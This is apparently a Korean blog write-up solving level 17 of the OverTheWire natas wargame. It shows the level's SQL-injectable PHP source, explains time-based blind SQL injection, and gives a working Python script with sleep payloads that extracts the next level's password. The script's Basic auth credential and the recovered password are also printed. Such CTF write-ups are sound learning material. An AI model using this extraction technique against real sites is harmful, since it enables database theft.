: level 16 → level 17
http://natas17.natas.labs.overthewire.org
위 사진은 natas 17의 시작화면이다. 소스코드는 아래와 같다.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
사용자 입력을 query에 사용하고 있는 것을 알 수 있다. 이를보아 SQL Injection 문제인 것을 짐작할 수 있었다.
그런데 소스코드를 잘 보면 가운데 if문에서 echo를 주석처리 한 것을 볼 수 있다. query의 처리결과를 알려주지 않기 때문에 이전처럼 password를 알아내긴 어렵다. 이 부분에 대해서 찾아본 결과 Time based SQL Injection이라는 것을 알게 되었다.
sleep 모듈을 사용하면 query가 제대로 처리됐을 때 sleep 함수가 실행되고, 반대 경우는 함수가 실행되지 않는 것을 이용해서 해결할 수 있다고 한다.
자동화프로그램은 다음과 같다.
import socket
import time
for i in range(1, 33):
for ch in range(48, 123):
if 58 <= ch <=64: continue
if 91 <= ch <=96: continue
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("176.9.9.172", 80))
header = "GET /index.php"
header += "?username=natas18\"%20and%20ord(mid(password,+"+str(i)+",1))="+str(ch)+"%20and%20sleep(5)%23 "
header += "HTTP/1.1\r\n"
header += "Host:natas17.natas.labs.overthewire.org\r\n"
header += "Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"
header += "\r\n"
response=" "
start = time.time()
sock.send(header.encode())
response = sock.recv(65535)
end = time.time()
response = response.decode()
if int(end-start) == 5:
print(chr(ch),end='',flush=True)
break
sock.close()
print()
password의 각 자리를 추출하고 아스키코드랑 비교한 후 query가 참이되면 sleep이 실행된다. 이점을 이용해서 payload를 아래와 같이 작성한다.
username=natas18 and ord(mid(password,str(i),1))=str(ch) and sleep(5)#
위 내용을 URL 인코딩으로 변환 후 header에 넣어서 보내준다.그 후 페이지 로딩 시간을 계산해서 5가 나오면 query가 참이라는 뜻이므로 해당 문자를 출력한다.
실행결과는 다음과 같다.
natas18 password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
'Study > Web Hacking' 카테고리의 다른 글
[XSS Challenge] Stage #15 (0) | 2021.06.27 |
---|---|
[LOS] troll (0) | 2021.06.27 |
[natas] Level 15 -> Level 16 (0) | 2021.06.27 |
[XSS Challenge] Stage #14 (0) | 2021.05.30 |
[XSS Challenge] Stage #13 (0) | 2021.05.30 |